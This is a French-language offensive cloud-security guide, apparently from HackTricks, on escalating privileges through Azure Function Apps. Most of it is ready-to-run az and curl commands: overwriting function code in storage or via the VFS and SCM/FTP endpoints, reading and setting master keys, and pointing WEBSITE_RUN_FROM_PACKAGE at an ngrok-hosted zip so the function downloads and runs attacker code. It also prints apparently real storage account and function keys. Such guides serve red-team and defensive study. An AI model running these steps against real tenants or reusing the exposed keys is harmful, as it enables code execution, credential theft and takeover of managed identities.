# Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Function Apps

Consultez la page suivante pour plus d'informations :

{{#ref}}
../az-services/az-function-apps.md
{{#endref}}

### Bucket Read/Write

Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver **différents conteneurs** (personnalisés ou avec des noms prédéfinis) qui pourraient contenir **le code exécuté par la fonction**.

Une fois que vous avez trouvé où le code de la fonction est situé, si vous avez des permissions d'écriture dessus, vous pouvez faire exécuter à la fonction n'importe quel code et élever les privilèges aux identités gérées attachées à la fonction.

- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)

Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et **de faire charger à la fonction un code arbitraire**, permettant d'élever les privilèges aux identités gérées attachées à la fonction.

Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir à partir de
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Ces configurations contiendront la **clé du compte de stockage** que la fonction peut utiliser pour accéder au code.

> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au partage de fichiers et **modifier le script** en cours d'exécution, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.

L'exemple suivant utilise macOS pour se connecter au partage de fichiers, mais il est recommandé de consulter également la page suivante pour plus d'informations sur les partages de fichiers :

{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)

Il est également courant de trouver les **zip releases** à l'intérieur du dossier `function-releases` du conteneur du compte de stockage que l'application de fonction utilise dans un conteneur **généralement appelé `function-releases`**.

En général, cette méthode de déploiement définira la configuration `WEBSITE_RUN_FROM_PACKAGE` dans :
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Cette configuration contiendra généralement une **SAS URL pour télécharger** le code depuis le compte de stockage.

> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au conteneur blob qui **contient le code en zip**, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.

- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` 

Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le compte de stockage contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`.

- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)

Avec des permissions pour lire les conteneurs à l'intérieur du compte de stockage qui stocke les données de la fonction, il est possible de trouver le conteneur **`scm-releases`**. À l'intérieur, il est possible de trouver la dernière version au format **Squashfs filesystem file format** et donc il est possible de lire le code de la fonction :
```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Il est également possible de trouver les **master and functions keys** stockées dans le compte de stockage dans le conteneur **`azure-webjobs-secrets`** à l'intérieur du dossier **`<app-name>`** dans les fichiers JSON que vous pouvez y trouver.

> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au conteneur blob qui **contient le code dans un fichier d'extension zip** (qui est en réalité un **`squashfs`**), il est possible d'exécuter du code arbitraire dans la Fonction et d'escalader les privilèges.
```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### `Microsoft.Web/sites/host/listkeys/action`

Cette autorisation permet de lister les clés de fonction, maître et système, mais pas la clé d'hôte, de la fonction spécifiée avec :
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Avec la clé maître, il est également possible d'obtenir le code source dans une URL comme :
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
Et pour **changer le code qui est exécuté** dans la fonction avec :
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`

Cette permission permet d'obtenir la clé d'hôte de la fonction spécifiée avec :
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### `Microsoft.Web/sites/host/functionKeys/write`

Cette autorisation permet de créer/met à jour une clé de fonction de la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`

Cette permission permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> N'oubliez pas qu'avec cette clé, vous pouvez également accéder au code source et le modifier comme expliqué précédemment !

### `Microsoft.Web/sites/host/systemKeys/write`

Cette autorisation permet de créer/met à jour une clé de fonction système pour la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/config/list/action`

Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces configurations, il pourrait être possible de trouver les valeurs par défaut **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** qui contiennent une **clé de compte pour accéder au stockage blob de la fonction avec des permissions COMPLETES**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (si activé) avec :
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`

Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de **modifier ces valeurs**. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.

Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip d'URL contenant le nouveau code à exécuter à l'intérieur d'une application web :

- Commencez par obtenir la configuration actuelle
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Créez le code que vous souhaitez que la fonction exécute et hébergez-le publiquement.
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la configuration **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL contenant le **zip** avec le code.

L'exemple suivant montre mes **propres paramètres que vous devrez modifier pour les vôtres**, notez à la fin les valeurs `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, c'est là où j'hébergeais l'application.
```bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### `Microsoft.Web/sites/hostruntime/vfs/write`

Avec cette autorisation, il est **possible de modifier le code d'une application** via la console web (ou via le point de terminaison API suivant) :
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)

Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des informations d'identification d'authentification de base** :
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```
Une autre option serait de définir vos propres identifiants et de les utiliser avec :
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Si les identifiants **REDACTED**

Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième autorisation (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Méthode SCM**

Ensuite, vous pouvez accéder avec ces **identifiants d'authentification de base à l'URL SCM** de votre application de fonction et obtenir les valeurs des variables d'environnement :
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Remarque que le **nom d'utilisateur SCM** est généralement le caractère "$" suivi du nom de l'application, donc : `$<app-name>`._

Vous pouvez également accéder à la page web depuis `https://<app-name>.scm.azurewebsites.net/BasicAuth`

Les valeurs des paramètres contiennent la **AccountKey** du compte de stockage stockant les données de l'application de fonction, permettant de contrôler ce compte de stockage.

- **Méthode FTP**

Connectez-vous au serveur FTP en utilisant :
```bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Remarque que le **nom d'utilisateur FTP** est généralement au format \<app-name>\\$\<app-name>._

### `Microsoft.Web/sites/hostruntime/vfs/read`

Cette autorisation permet de **lire le code source** de l'application via le VFS :
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`

Avec cette autorisation, il est possible de [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) qui peut ensuite être utilisé pour récupérer la **master key** et donc accéder et modifier le code de la fonction.

Cependant, lors de mes dernières vérifications, aucun token n'a été retourné, il se peut donc qu'il soit désactivé ou ne fonctionne plus, mais voici comment vous pourriez le faire :
```bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)

Cette permission permet de **activer des fonctions** qui pourraient être désactivées (ou de les désactiver).
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Il est également possible de voir si une fonction est activée ou désactivée à l'URL suivante (en utilisant la permission entre parenthèses) :
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)

Avec ces autorisations, il est possible de **modifier le conteneur exécuté par une application de fonction** configurée pour exécuter un conteneur. Cela permettrait à un attaquant de télécharger une application de conteneur de fonction azure malveillante sur docker hub (par exemple) et de faire exécuter la fonction.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)

Avec ces autorisations, il est possible de **lier une nouvelle identité gérée par l'utilisateur à une fonction**. Si la fonction était compromise, cela permettrait d'escalader les privilèges à n'importe quelle identité gérée par l'utilisateur.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Débogage à distance

Il est également possible de se connecter pour déboguer une fonction Azure en cours d'exécution comme [**expliqué dans la documentation**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Cependant, par défaut, Azure désactivera cette option après 2 jours au cas où le développeur oublierait d'éviter de laisser des configurations vulnérables.

Il est possible de vérifier si une fonction a le débogage activé avec :
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Avoir la permission `Microsoft.Web/sites/config/write` permet également de mettre une fonction en mode débogage (la commande suivante nécessite également les permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` et `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Changer le dépôt Github

J'ai essayé de changer le dépôt Github d'où le déploiement a lieu en exécutant les commandes suivantes, mais même si cela a changé, **le nouveau code n'a pas été chargé** (probablement parce qu'il s'attend à ce que l'Action Github mette à jour le code).\
De plus, la **créance fédérée de l'identité gérée n'a pas été mise à jour** permettant le nouveau dépôt, donc il semble que cela ne soit pas très utile.
```bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
```
{{#include ../../../banners/hacktricks-training.md}}
